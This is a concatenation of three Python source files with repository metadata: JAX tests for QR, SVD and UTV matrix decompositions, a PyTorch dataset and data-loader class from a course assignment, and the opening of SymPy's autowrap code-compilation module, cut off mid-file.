qr.block_power_svd(A, sigma, tol=thresh)\n                    error, errormsg = errstring(S[:sigma],\n                                                \"NP SVD\", jnp.abs(Sc),\n                                                \"Chase SVD\")\n                    self.assertTrue(error < thresh, msg=errormsg)\n        self.iterloop(impl)\n\n\nclass GaussianQRTests(GaussianMatrixTest):\n    \"\"\"\n    These tests check whether the QR decomposition routines function correctly,\n    by generating Gaussian random input and ensuring results meet various\n    conditions.\n\n    \"\"\"\n    def __init__(self, *args, **kwargs):\n        ns = (1, 6, 1)\n        ms = (1, 6, 1)\n        dtypes = [jnp.float32]  # , jnp.complex64]\n        super().__init__(*args, ns=ns, ms=ms, dtypes=dtypes, **kwargs)\n\n    def test_recursive_QR(self, thresh=1E-6):\n        \"\"\"\n        Checks that recursive_QR correctly reconstructs A for various matrix\n        and block sizes.\n        \"\"\"\n        def impl(A, paramtup):\n            m, n, dtype = paramtup\n            # Qtest, Rtest = jnp.linalg.QR(A, mode=\"reduced\")\n            for block_size in range(1, n):\n                with self.subTest(block_size=block_size):\n                    Qblock, Rblock = qr.recursiveQR(A, block_size)\n                    #  print(\"***********DONE!********\")\n                    #  print(\"A:\", A.shape)\n                    #  print(\"Q:\", Qblock.shape)\n                    #  print(\"R:\", Rblock.shape)\n                    A_recon = Qblock @ Rblock\n                    #print(\"QR:\", A_recon.shape)\n                    error, errormsg = errstring(A, \"A\", A_recon, \"QR A\")\n                    self.assertTrue(error < thresh, msg=errormsg)\n        self.iterloop(impl)\n\n\n\n\n\n\n    #  def test_forward_vs_backward_accumulation(self, thresh=1E-6):\n    #      \"\"\"\n    #      Checks that Q computed from the factored representation gives the\n    #      same result when using either forward or backward accumulation.\n    #      \"\"\"\n    #      def impl(A, paramtup):\n    #          m, n, dtype = paramtup\n    #          if n > m:\n    #              with self.assertRaises(NotImplementedError):\n    #                  H, betas = qr.house_qr(A, mode=\"factored\")\n    #              return\n    #          H, betas = qr.house_qr(A, mode=\"factored\")\n    #          Im = jnp.eye(m, dtype=A.dtype)\n    #          Qforward = qr.factored_rightmult(Im, H, betas)\n    #          Qbackward, R = qr.factored_to_QR(H, betas)\n    #          err, errmsg = errstring(Qforward, \"Qforward\", Qbackward,\n    #                                  \"Qbackward\")\n    #          self.assertTrue(err < thresh, msg=errmsg)\n    #      self.iterloop(impl)\n\n    #  def test_factored_mult(self, thresh=1E-5):\n    #      \"\"\"\n    #      A = QR -> [H, tau] is computed. R is extracted. We compare\n    #      C * A with C * Q * R without forming Q explicitly.\n    #      \"\"\"\n    #      def impl(A, paramtup):\n    #          m, n, dtype = paramtup\n\n    #          C = matutils.gaussian_random(shape=(n, m), dtype=dtype)\n    #          if n > m:\n    #              with self.assertRaises(NotImplementedError):\n    #                  H, betas = qr.house_qr(A, mode=\"factored\")\n    #              return\n    #          H, betas = qr.house_qr(A, mode=\"factored\")\n    #          R = jnp.triu(H)\n\n    #          CA = jnp.dot(C, A)\n    #          CQ = qr.factored_rightmult(C, H, betas)\n    #          CQR = CQ@R\n    #          err, errmsg = errstring(CA, \"CA\", CQR, \"CQR\")\n    #          self.assertTrue(err < thresh, msg=errmsg)\n    #      self.iterloop(impl)\n\n    #  def test_factored_to_dense_Q(self, thresh=1E-6):\n    #      \"\"\"\n    #      Runs the qr decomposition in 'factored' mode. Factored mode returns\n    #      matrices H and tau that record the Householder transformations\n    #      from which Q and R are formed.\n\n    #      Specifically, R is the upper triangle of H, the Householder vectors\n    #      mapping A to R are the lower triangle, and the normalizations of those\n    #      vectors in a certain sense are stored in tau.\n\n    #      This routine explicitly forms\n    #      Q from these outputs using qr.factored_to_Q, checks that Q is\n    #      unitary, and that QR = A\n    #      to within Frobenius norm 'thresh'.\n    #      \"\"\"\n    #      def impl(A, paramtup):\n    #          m, n, dtype = paramtup\n    #          if n > m:\n    #              with self.assertRaises(NotImplementedError):\n    #                  H, betas = qr.house_qr(A, mode=\"factored\")\n    #              return\n    #          H, betas = qr.house_qr(A, mode=\"factored\")\n    #          jaxQ, jaxR = qr.factored_to_QR(H, betas)\n    #          Id = jnp.eye(jaxQ.shape[0], dtype=A.dtype)\n    #          errormsg = \"\"\n    #          success = True\n\n    #          unitary_check1 = jnp.dot(jaxQ, dag(jaxQ))\n    #          error1, errormsg1 = errstring(unitary_check1, \"Q Qdag\", Id, \"I\")\n    #          if error1 > thresh:\n    #              success = False\n    #              errormsg += \"Q wasn't unitary. \\n\" + errormsg1 + \"\\n\"\n\n    #          unitary_check2 = jnp.dot(dag(jaxQ), jaxQ)\n    #          error2, errormsg2 = errstring(unitary_check2, \"Qdag Q\", Id, \"I\")\n    #          if error2 > thresh:\n    #              success = False\n    #              errormsg += \"Q wasn't unitary. \\n\" + errormsg2 + \"\\n\"\n\n    #          nullopcheck = jnp.dot(jaxQ, jaxR)\n    #          error3, errormsg3 = errstring(nullopcheck, \"QR\", A, \"A\")\n    #          if error3 > thresh:\n    #              errormsg += \"QR != A. \\n\" + errormsg3 + \"\\n\"\n    #              success = False\n\n    #          self.assertTrue(success, msg=errormsg)\n    #      self.iterloop(impl)\n\n    #  def test_WY_Q_properties(self, thresh=1E-6):\n    #      \"\"\"\n    #      Runs the qr decomposition in 'WY' mode. WY mode returns\n    #      matrices W and Y, storing the same Householder transformations as\n    #      'factored' mode in a 'blocked' representation permitting their\n    #      application using Level 3 BLAS operations.\n\n    #      This routine explicitly forms\n    #      Q from these outputs using qr.factored_to_Q. It checks that Q is\n    #      unitary, and that QR = A\n    #      to within Frobenius norm 'thresh'.\n    #      \"\"\"\n    #      def impl(A, paramtup):\n    #          m, n, dtype = paramtup\n    #          if n > m:\n    #              with self.assertRaises(NotImplementedError):\n    #                  H, betas = qr.house_qr(A, mode=\"WY\")\n    #              return\n    #          W, YH, _ = qr.house_qr(A, mode=\"WY\")\n    #          jaxQ = qr.WY_to_Q(W, YH)\n    #          jaxQdag = dag(jaxQ)\n    #          QQdag = jaxQ @ jaxQdag\n    #          Id = jnp.eye(QQdag.shape[0], dtype=QQdag.dtype)\n    #          err, errmsg = errstring(QQdag, \"Qdag\", Id, \"I\")\n    #          self.assertLessEqual(err, thresh, msg=errmsg)\n\n    #      self.iterloop(impl)\n\n    #  def test_WY_reconstruction(self, thresh=1E-6):\n    #      \"\"\"\n    #      Runs the qr decomposition in 'WY' mode. WY mode returns\n    #      matrices W and Y, storing the same Householder transformations as\n    #      'factored' mode in a 'blocked' representation permitting their\n    #      application using Level 3 BLAS operations.\n\n    #      This routine explicitly forms\n    #      Q from these outputs using qr.factored_to_Q. It checks that Q is\n    #      unitary, and that QR = A\n    #      to within Frobenius norm 'thresh'.\n    #      \"\"\"\n    #      def impl(A, paramtup):\n    #          m, n, dtype = paramtup\n    #          if n > m:\n    #              with self.assertRaises(NotImplementedError):\n    #                  H, betas = qr.house_qr(A, mode=\"WY\")\n    #              return\n    #          W, YH, R = qr.house_qr(A, mode=\"WY\")\n    #          Q = qr.WY_to_Q(W, YH)\n    #          A_recon = Q @ R\n    #          err, errmsg = errstring(A, \"A\", A_recon, \"QR\")\n    #          self.assertLessEqual(err, thresh, msg=errmsg)\n\n    #      self.iterloop(impl)\n\n    #  def test_WY_to_Q(self, thresh=1E-6):\n    #      \"\"\"\n    #      Makes sure that retrieval of Q from WY^H, Q = I - WY^H, works\n    #      correctly.\n    #      \"\"\"\n    #      def impl(A, paramtup):\n    #          m, n, dtype = paramtup\n    #          W = A\n    #          YH = matutils.gaussian_random(shape=(n, m), dtype=dtype)\n    #          Id = jnp.eye(m, dtype=dtype)\n    #          Q = Id - W @ YH\n    #          Q2 = qr.WY_to_Q(W, YH)\n    #          err, errmsg = errstring(Q, \"Q\", Q2, \"I-WY^H\")\n    #          self.assertLessEqual(err, thresh, msg=errmsg)\n\n    #  def test_B_times_Q_WY(self, thresh=1E-6):\n    #      \"\"\"\n    #      Makes sure that B * Q = B * (I - W Y^H) for Q = I - WY^H, where\n    #      the RHS is computed implicitly from W and YH.\n    #      \"\"\"\n    #      def impl(A, paramtup):\n    #          m, n, dtype = paramtup\n    #          W = A\n    #          YH = matutils.gaussian_random(shape=(n, m), dtype=dtype)\n    #          B = matutils.gaussian_random(shape=(m, n), dtype=dtype)\n    #          Id = jnp.eye(m, dtype=dtype)\n    #          Q = Id - W @ YH\n    #          BQ = B@Q\n    #          BQ_WY = qr.B_times_Q_WY(B, W, YH)\n    #          err, errmsg = errstring(BQ, \"BQ\", BQ_WY, \"B(I-WY^T)\")\n    #          self.assertLessEqual(err, thresh, msg=errmsg)\n\n    #  def test_Qdag_WY_times_B(self, thresh=1E-6):\n    #      \"\"\"\n    #      Makes sure that Q^H@B = (I - W Y^H)^H @ B  for Q = I - WY^H, where\n    #      the RHS is computed implicitly from W and YH.\n    #      \"\"\"\n    #      def impl(A, paramtup):\n    #          m, n, dtype = paramtup\n    #          W = A\n    #          YH = matutils.gaussian_random(shape=(n, m), dtype=dtype)\n    #          B = matutils.gaussian_random(shape=(m, n), dtype=dtype)\n    #          Id = jnp.eye(m, dtype=dtype)\n    #          Q = Id - W @ YH\n\n    #          QHB = dag(Q)@B\n    #          QHB_WY = qr.Qdag_WY_times_B(B, W, YH)\n    #          err, errmsg = errstring(QHB, \"QHB\", QHB_WY, \"(I-WY^T)^H @ B\")\n    #          self.assertLessEqual(err, thresh, msg=errmsg)\n\nclass TestRandSVD(GaussianMatrixTest):\n    \"\"\"\n    Tests of the randSVD decomposition that loop over Gaussian random matrices.\n    \"\"\"\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n    def test_randSVD(self, thresh=1E-2, k=5):\n        \"\"\"\n        Tests the singular values from utv.randSVD against the numpy\n        implementation.\n        \"\"\"\n        def impl(A, paramtup):\n            out_jnp = jnp.linalg.svd(A)\n            out_rand = utv.randSVD(A, k=k)\n            svd_jnp = out_jnp[1][:k]\n            svd_rand = out_rand[1]\n            error, errormsg = errstring(svd_jnp, \"Numpy SVs\", svd_rand,\n                                        \"randSVs\")\n            self.assertTrue(error < thresh, msg=errormsg)\n        self.iterloop(impl)\n\n    def test_randSVD_reconstruction(self, thresh=1E-3):\n        \"\"\"\n        Checks that randSVD correctly reconstructs its input.\n        \"\"\"\n        def impl(A, paramtup):\n            m, n, dtype = paramtup\n            U, S, Vh = utv.randSVD(A)\n            A_recon = matutils.trimultdag(U, S, Vh)\n            error, errormsg = errstring(A, \"Input A\", A_recon, \"randSVD A\")\n            self.assertTrue(error < thresh, msg=errormsg)\n        self.iterloop(impl)\n\n\nclass TestUTV(GaussianMatrixTest):\n    \"\"\"\n    Tests of the UTV decomposition that loop over Gaussian random matrices.\n    \"\"\"\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n    def setUp(self):\n        ns = (3, 4, 1)\n        ms = (3, 4, 1)\n        dtypes = [jnp.float32]#, jnp.complex64]\n        self.ns = range(*ns)\n        self.ms = range(*ms)\n        self.dtypes = dtypes\n        self.matrices = [matutils.gaussian_random(shape=(m, n), dtype=dtype)\n                         for m, n, dtype\n                         in itertools.product(self.ms, self.ns, self.dtypes)]\n        #  self.matrices = [jnp.ones((m,n), dtype=dtype) for m, n, dtype\n        #                   in itertools.product(self.ms, self.ns, self.dtypes)]\n\n    ###########################################################################\n    # randUTV\n    ###########################################################################\n    #  def test_randUTV_svs(self, thresh=0.1):\n    #      \"\"\"\n    #      Tests the singular values from randUTV against those from\n    #      stepUTV_slow, using blocksize = number of columns.\n    #      \"\"\"\n    #      def impl(A, paramtup):\n    #          m, n, dtype = paramtup\n    #          U, slow_sv, Vh = jnp.linalg.svd(A)\n    #          for b in range(1, n+1, 1):\n    #              with self.subTest(b=b):\n    #                  out_fast = utv.randUTV(A, b=b, q=1)\n    #                  fast_sv = jnp.diag(out_fast[1])\n    #                  error, errormsg = errstring(slow_sv, \"slow UTV SVs\",\n    #                                              fast_sv, \"rand_UTV SVs\")\n    #                  self.assertTrue(error < thresh, msg=errormsg)\n    #      self.iterloop(impl)\n\n    def test_randUTV_reconstruction(self, thresh=1E-5):\n        \"\"\"\n        Tests that A can be recovered from randUTV_slow, using various\n        blocksizes.\n        \"\"\"\n        def impl(A, paramtup):\n            m, n, dtype = paramtup\n            #for b in range(1, n+1, 1):\n            for b in range(1, n+1, 1):\n                with self.subTest(b=b):\n                    U, T, V = utv.randUTV(A, b=b, q=2, p=5)\n                    A_UTV = matutils.trimultmat(U, T, dag(V))\n                    error, errormsg = errstring(A, \"A\", A_UTV,\n                                                \"UTV A\")\n                    self.assertTrue(error < thresh, msg=errormsg)\n        self.iterloop(impl)\n    ###########################################################################\n    # stepUTV\n    ###########################################################################\n    #  def test_stepUTV_slow_svs(self, thresh=1E-5):\n    #      \"\"\"\n    #      Tests the singular values from utv.stepUTV_slow against those from a\n    #      numpy SVD.\n    #      \"\"\"\n    #      def impl(A, paramtup):\n    #          m, n, dtype = paramtup\n    #          if n > m:\n    #              with self.assertRaises(NotImplementedError):\n    #                  out_rand = utv.stepUTV_slow(A)\n    #              return\n    #          out_rand = utv.stepUTV_slow(A)\n    #          out_jnp = jnp.linalg.svd(A)\n\n    #          svd_sv = out_jnp[1]\n    #          utv_sv = jnp.diag(out_rand[1])\n    #          error, errormsg = errstring(svd_sv, \"Numpy SVs\", utv_sv,\n    #                                      \"rand_UTV SVs\")\n    #          self.assertTrue(error < thresh, msg=errormsg)\n    #      self.iterloop(impl)\n\n    #  def test_stepUTV_reconstruction(self, thresh=1E-5):\n    #      \"\"\"\n    #      Checks that stepUTV correctly reconstructs its input.\n    #      \"\"\"\n    #      def impl(A, paramtup):\n    #          m, n, dtype = paramtup\n    #          if n > m:\n    #              with self.assertRaises(NotImplementedError):\n    #                  out = utv.stepUTV_slow(A)\n    #              return\n    #          U, T, V = utv.stepUTV_slow(A)\n    #          A_UTV = matutils.trimultmat(U, T, dag(V))\n    #          error, errormsg = errstring(A, \"Input A\", A_UTV, \"stepUTV A\")\n    #          self.assertTrue(error < thresh, msg=errormsg)\n    #      self.iterloop(impl)\n\n    #  ###########################################################################\n    #  # randUTV_slow\n    #  ###########################################################################\n    #  def test_randUTVslow_svs(self, thresh=1E-5):\n    #      \"\"\"\n    #      Tests the singular values from randUTV against those from\n    #      stepUTV_slow, using blocksize = number of columns.\n    #      \"\"\"\n    #      def impl(A, paramtup):\n    #          m, n, dtype = paramtup\n    #          if n > m:\n    #              with self.assertRaises(NotImplementedError):\n    #                  _ = utv.stepUTV_slow(A)\n    #              return\n    #          out_slow = utv.stepUTV_slow(A)\n    #          out_fast = utv.randUTV_slow(A, n, 1)\n    #          slow_sv = out_slow[1]\n    #          fast_sv = out_fast[1]\n    #          error, errormsg = errstring(slow_sv, \"slow UTV SVs\", fast_sv,\n    #                                      \"rand_UTV SVs\")\n    #          self.assertTrue(error < thresh, msg=errormsg)\n    #      self.iterloop(impl)\n\n    #  def test_randUTVslow_reconstruction(self, thresh=1E-5):\n    #      \"\"\"\n    #      Tests that A can be recovered from randUTV_slow, using various\n    #      blocksizes.\n    #      \"\"\"\n    #      def impl(A, paramtup):\n    #          m, n, dtype = paramtup\n    #          for b in range(1, n+1, 1):\n    #              with self.subTest(b=b):\n    #                  if n > m:\n    #                      with self.assertRaises(NotImplementedError):\n    #                          U, T, V = utv.randUTV_slow(A, b, 1)\n    #                      return\n    #                  U, T, V = utv.randUTV_slow(A, b, 1)\n    #                  A_UTV = matutils.trimultmat(U, T, dag(V))\n    #                  error, errormsg = errstring(A, \"A\", A_UTV,\n    #                                              \"UTV A\")\n    #                  Us, Ds, Vhs = jnp.linalg.svd(A)\n    #                  # print(\"U: \\n\", U)\n    #                  # print(\"U svd: \\n\", Us)\n    #                  # print(\"V: \\n\", dag(V))\n    #                  # print(\"V svd: \\n\", Vhs)\n    #                  # print(\"SVDS:\", Ds)\n    #                  # print(\"Error: \", error)\n    #                  # print(\"***\")\n    #                  self.assertTrue(error < thresh, msg=errormsg)\n    #      self.iterloop(impl)\n\n\n\nclass TestUtils(GaussianMatrixTest):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n    def test_replace_diagonal(self, thresh=1E-6):\n        def impl(A, paramtup):\n            m, n, dtype = paramtup\n            for i in range(1, n):\n                D = matutils.gaussian_random(shape=(i,), dtype=dtype)\n                with self.subTest(i=i):\n                    result = matutils.replace_diagonal(A, D)\n                    err = matutils.frob(jnp.triu(result, k=1),\n                                        jnp.triu(A, k=1))\n                    err += matutils.frob(jnp.tril(result, k=-1),\n                                         jnp.tril(A, k=-1))\n                    err += matutils.frob(D, jnp.diag(result)[:i])\n                    err += matutils.frob(jnp.diag(result)[i:],\n                                         jnp.zeros(jnp.diag(result)[i:].shape))\n                    errstr = \"\\nA: \\n \" + str(A) + \"\\nRes: \\n \" + str(result)\n                    errstr += \"\\nD: \\n \" + str(D)\n                    errstr += \"\\nErr: \" + str(err)\n                    self.assertTrue(err < thresh, msg=errstr)\n        self.iterloop(impl)\n\n###############################################################################\n# Functions to call tests\n###############################################################################\n\n\ndef suite():\n    suite = unittest.TestSuite()\n    #suite.addTests(unittest.makeSuite(TestUtils, 'test'))\n    #suite.addTests(unittest.makeSuite(TestUTV, 'test'))\n    # suite.addTests(unittest.makeSuite(TestRandSVD, 'test'))\n    # suite.addTests(unittest.makeSuite(TestHouseholderVectorProperties, 'test'))\n    # suite.addTests(unittest.makeSuite(TestComputeAndApplyHouseholderReflectors,\n                                      # 'test'))\n    # 'ExplicitQRTests' is commented out because it is wrong.\n    # suite.addTests(unittest.makeSuite(ExplicitQRTests, 'test'))\n    suite.addTests(unittest.makeSuite(GaussianQRTests, 'test'))\n    suite.addTests(unittest.makeSuite(GaussianSVDTests, 'test'))\n    return suite\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "109d30c65961748d12349456f62ecaa3b0193b70", "size": 33519, "ext": "py", "lang": "Python", "max_stars_repo_path": "utv_tests.py", "max_stars_repo_name": "alewis/dfact", "max_stars_repo_head_hexsha": "04dfa7e0e19f10d2684931015aa83f82c1ea72b9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-08-04T18:17:14.000Z", "max_stars_repo_stars_event_max_datetime": "2020-08-04T18:17:14.000Z", "max_issues_repo_path": "utv_tests.py", "max_issues_repo_name": "alewis/dfact", "max_issues_repo_head_hexsha": "04dfa7e0e19f10d2684931015aa83f82c1ea72b9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "utv_tests.py", "max_forks_repo_name": "alewis/dfact", "max_forks_repo_head_hexsha": "04dfa7e0e19f10d2684931015aa83f82c1ea72b9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-02-19T18:00:28.000Z", "max_forks_repo_forks_event_max_datetime": "2021-02-19T18:00:28.000Z", "avg_line_length": 39.480565371, "max_line_length": 82, "alphanum_fraction": 0.5083385543, "include": true, "reason": "import numpy,import jax", "num_tokens": 8752, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207955, "lm_q2_score": 0.13846178168115786, "lm_q1q2_score": 0.06814924619422888}}
{"text": "import os\nimport pickle\nimport numpy as np\nfrom torch.utils.data import Dataset, DataLoader, SubsetRandomSampler\nimport torch\nfrom torch import Tensor\n\nclass SimpleDataset(Dataset):\n    \"\"\"SimpleDataset [summary]\n    \n    [extended_summary]\n    \n    :param path_to_pkl: Path to PKL file with Images\n    :type path_to_pkl: str\n    :param path_to_labels: path to file with labels\n    :type path_to_labels: str\n    \"\"\"\n    def __init__(self, path_to_pkl, path_to_labels):\n        ## TODO: Add code to read csv and load data. \n        ## You should store the data in a field.\n        # Eg (on how to read .csv files):\n        # with open('path/to/.csv', 'r') as f:\n        #   lines = ...\n        ## Look up how to read .csv files using Python. This is common for datasets in projects.\n\n        # Load images\n        with open(path_to_pkl, 'rb') as file:\n            self.images = pickle.load(file)\n        # Load labels\n        with open(path_to_labels, 'rb') as file:\n            self.labels = pickle.load(file)\n\n    def __len__(self):\n        \"\"\"__len__ [summary]\n        \n        [extended_summary]\n        \"\"\"\n        ## TODO: Returns the length of the dataset.\n        return len(self.images)\n\n    def __getitem__(self, index):\n        \"\"\"__getitem__ [summary]\n        \n        [extended_summary]\n        \n        :param index: [description]\n        :type index: [type]\n        \"\"\"\n        ## TODO: This returns only ONE sample from the dataset, for a given index.\n        ## The returned sample should be a tuple (x, y) where x is your input \n        ## vector and y is your label\n        ## Before returning your sample, you should check if there is a transform\n        ## sepcified, and pply that transform to your sample\n        # Eg:\n        # if self.transform:\n        #   sample = self.transform(sample)\n        ## Remember to convert the x and y into torch tensors.\n\n        x = np.array(self.images[index])\n        \n        y = np.array(self.labels[index])\n        y = torch.tensor(y, dtype=torch.float)\n        x = Tensor(x).view(1, 28, 28).float()\n        return x , y\n\n\ndef get_data_loaders(path_to_pkl, \n                     path_to_labels,\n                     train_val_test=[0.8, 0.2, 0.2], \n                     batch_size=32):\n    \"\"\"get_data_loaders [summary]\n    \n    [extended_summary]\n    \n    :param path_to_csv: [description]\n    :type path_to_csv: [type]\n    :param train_val_test: [description], defaults to [0.8, 0.2, 0.2]\n    :type train_val_test: list, optional\n    :param batch_size: [description], defaults to 32\n    :type batch_size: int, optional\n    :return: [description]\n    :rtype: [type]\n    \"\"\"\n    # First we create the dataset given the path to the .csv file\n    dataset = SimpleDataset(path_to_pkl, path_to_labels)\n\n    # Then, we create a list of indices for all samples in the dataset.\n    dataset_size = len(dataset)\n    indices = list(range(dataset_size))\n\n    ## TODO: Rewrite this section so that the indices for each dataset split\n    ## are formed. You can take your code from last time\n\n    ## BEGIN: YOUR CODE\n    train_split, validation_split, test_split = train_val_test[0], train_val_test[1], train_val_test[2]\n    # Generate split between train and test data\n    train_test_split = int(np.floor(train_split * dataset_size))\n    # Shuffle indices\n    np.random.shuffle(indices)\n    # Generate split within train data for train and val data (train_val_split has 80% of train_val_data for training, 20% of train_val_data for val data\n    train_val_split = int(np.floor(train_split * train_test_split))\n    # Generate list of indices for train and test data\n    train_val_indices = indices[:train_test_split]\n    train_indices = train_val_indices[:train_val_split]\n    val_indices = train_val_indices[train_val_split:]\n    test_indices = indices[train_test_split:]\n    ## END: YOUR CODE\n\n    # Now, we define samplers for each of the train, val and test data\n    train_sampler = SubsetRandomSampler(train_indices)\n    train_loader = DataLoader(dataset, batch_size=batch_size, sampler=train_sampler)\n\n    val_sampler = SubsetRandomSampler(val_indices)\n    val_loader = DataLoader(dataset, batch_size=batch_size, sampler=val_sampler)\n\n    test_sampler = SubsetRandomSampler(test_indices)\n    test_loader = DataLoader(dataset, batch_size=batch_size, sampler=test_sampler)\n\n    return train_loader, val_loader, test_loader\n\nif __name__ == '__main__':\n    # Testing purposes\n    train_loader, val_loader, test_data = get_data_loaders('data/processedImages.pkl', 'data/processedLabels.pkl')\n\n    for batch_index, (x, y) in enumerate(train_loader):\n        print(f\"Batch {batch_index}\")\n        print(f\"X: {x.shape}\")\n        print(f\"Y: {y.shape}\")\n\n        if batch_index == 1000:\n            break\n\n", "meta": {"hexsha": "dee2d562d6d14b64d789935bb290debf383e4c9b", "size": 4749, "ext": "py", "lang": "Python", "max_stars_repo_path": "a3/data_loader.py", "max_stars_repo_name": "zhangtravis/IntSys-Education", "max_stars_repo_head_hexsha": "407e0e1f60b57a922b84f6813378a0bddc178c3a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "a3/data_loader.py", "max_issues_repo_name": "zhangtravis/IntSys-Education", "max_issues_repo_head_hexsha": "407e0e1f60b57a922b84f6813378a0bddc178c3a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "a3/data_loader.py", "max_forks_repo_name": "zhangtravis/IntSys-Education", "max_forks_repo_head_hexsha": "407e0e1f60b57a922b84f6813378a0bddc178c3a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.7067669173, "max_line_length": 153, "alphanum_fraction": 0.6555064224, "include": true, "reason": "import numpy", "num_tokens": 1135, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.14414885487109627, "lm_q1q2_score": 0.068136781871324}}
{"text": "\"\"\"Module for compiling codegen output, and wrap the binary for use in\npython.\n\n.. note:: To use the autowrap module it must first be imported\n\n   >>> from sympy.utilities.autowrap import autowrap\n\nThis module provides a common interface for different external backends, such\nas f2py, fwrap, Cython, SWIG(?) etc. (Currently only f2py and Cython are\nimplemented) The goal is to provide access to compiled binaries of acceptable\nperformance with a one-button user interface, i.e.\n\n    >>> from sympy.abc import x,y\n    >>> expr = ((x - y)**(25)).expand()\n    >>> binary_callable = autowrap(expr)\n    >>> binary_callable(1, 2)\n    -1.0\n\nThe callable returned from autowrap() is a binary python function, not a\nSymPy object.  If it is desired to use the compiled function in symbolic\nexpressions, it is better to use binary_function() which returns a SymPy\nFunction object.  The binary callable is attached as the _imp_ attribute and\ninvoked when a numerical evaluation is requested with evalf(), or with\nlambdify().\n\n    >>> from sympy.utilities.autowrap import binary_function\n    >>> f = binary_function('f', expr)\n    >>> 2*f(x, y) + y\n    y + 2*f(x, y)\n    >>> (2*f(x, y) + y).evalf(2, subs={x: 1, y:2})\n    0.e-110\n\nThe idea is that a SymPy user will primarily be interested in working with\nmathematical expressions, and should not have to learn details about wrapping\ntools in order to evaluate expressions numerically, even if they are\ncomputationally expensive.\n\nWhen is this useful?\n\n    1) For computations on large arrays, Python iterations may be too slow,\n       and depending on the mathematical expression, it may be difficult to\n       exploit the advanced index operations provided by NumPy.\n\n    2) For *really* long expressions that will be called repeatedly, the\n       compiled binary should be significantly faster than SymPy's .evalf()\n\n    3) If you are generating code with the codegen utility in order to use\n       it in another project, the automatic python wrappers let you test the\n       binaries immediately from within SymPy.\n\n    4) To create customized ufuncs for use with numpy arrays.\n       See *ufuncify*.\n\nWhen is this module NOT the best approach?\n\n    1) If you are really concerned about speed or memory optimizations,\n       you will probably get better results by working directly with the\n       wrapper tools and the low level code.  However, the files generated\n       by this utility may provide a useful starting point and reference\n       code. Temporary files will be left intact if you supply the keyword\n       tempdir=\"path/to/files/\".\n\n    2) If the array computation can be handled easily by numpy, and you\n       don't need the binaries for another project.\n\n\"\"\"\n\nfrom __future__ import print_function, division\n\nimport sys\nimport os\nimport shutil\nimport tempfile\nfrom subprocess import STDOUT, CalledProcessError, check_output\nfrom string import Template\nfrom warnings import warn\n\nfrom sympy.core.cache import cacheit\nfrom sympy.core.compatibility import range, iterable\nfrom sympy.core.function import Lambda\nfrom sympy.core.relational import Eq\nfrom sympy.core.symbol import Dummy, Symbol\nfrom sympy.tensor.indexed import Idx, IndexedBase\nfrom sympy.utilities.codegen import (make_routine, get_code_generator,\n                                     OutputArgument, InOutArgument,\n                                     InputArgument, CodeGenArgumentListError,\n                                     Result, ResultBase, C99CodeGen)\nfrom sympy.utilities.lambdify import implemented_function\nfrom sympy.utilities.decorator import doctest_depends_on\n\n_doctest_depends_on = {'exe': ('f2py', 'gfortran', 'gcc'),\n                       'modules': ('numpy',)}\n\n\nclass CodeWrapError(Exception):\n    pass\n\n\nclass CodeWrapper(object):\n    \"\"\"Base Class for code wrappers\"\"\"\n    _filename = \"wrapped_code\"\n    _module_basename = \"wrapper_module\"\n    _module_counter = 0\n\n    @property\n    def filename(self):\n        return \"%s_%s\" % (self._filename, CodeWrapper._module_counter)\n\n    @property\n    def module_name(self):\n        return \"%s_%s\" % (self._module_basename, CodeWrapper._module_counter)\n\n    def __init__(self, generator, filepath=None, flags=[], verbose=False):\n        \"\"\"\n        generator -- the code generator to use\n        \"\"\"\n        self.generator = generator\n        self.filepath = filepath\n        self.flags = flags\n        self.quiet = not verbose\n\n    @property\n    def include_header(self):\n        return bool(self.filepath)\n\n    @property\n    def include_empty(self):\n        return bool(self.filepath)\n\n    def _generate_code(self, main_routine, routines):\n        routines.append(main_routine)\n        self.generator.write(\n            routines, self.filename, True, self.include_header,\n            self.include_empty)\n\n    def wrap_code(self, routine, helpers=[]):\n\n        workdir = self.filepath or tempfile.mkdtemp(\"_sympy_compile\")\n        if not os.access(workdir, os.F_OK):\n            os.mkdir(workdir)\n        oldwork = os.getcwd()\n        os.chdir(workdir)\n        try:\n            sys.path.append(workdir)\n            self._generate_code(routine, helpers)\n            self._prepare_files(routine)\n            self._process_files(routine)\n            mod = __import__(self.module_name)\n        finally:\n            sys.path.remove(workdir)\n            CodeWrapper._module_counter += 1\n            os.chdir(oldwork)\n            if not self.filepath:\n                try:\n                    shutil.rmtree(workdir)\n                except OSError:\n                    # Could be some issues on Windows\n                    pass\n\n        return self._get_wrapped_function(mod, routine.name)\n\n    def _process_files(self, routine):\n        command = self.command\n        command.extend(self.flags)\n        try:\n            retoutput = check_output(command, stderr=STDOUT)\n        except CalledProcessError as e:\n            raise CodeWrapError(\n                \"Error while executing command: %s. Command output is:\\n%s\" % (\n                    \" \".join(command), e.output.decode()))\n        if not self.quiet:\n            print(retoutput)\n\n\nclass DummyWrapper(CodeWrapper):\n    \"\"\"Class used for testing independent of backends \"\"\"\n\n    template = \"\"\"# dummy module for testing of SymPy\ndef %(name)s():\n    return \"%(expr)s\"\n%(name)s.args = \"%(args)s\"\n%(name)s.returns = \"%(retvals)s\"\n\"\"\"\n\n    def 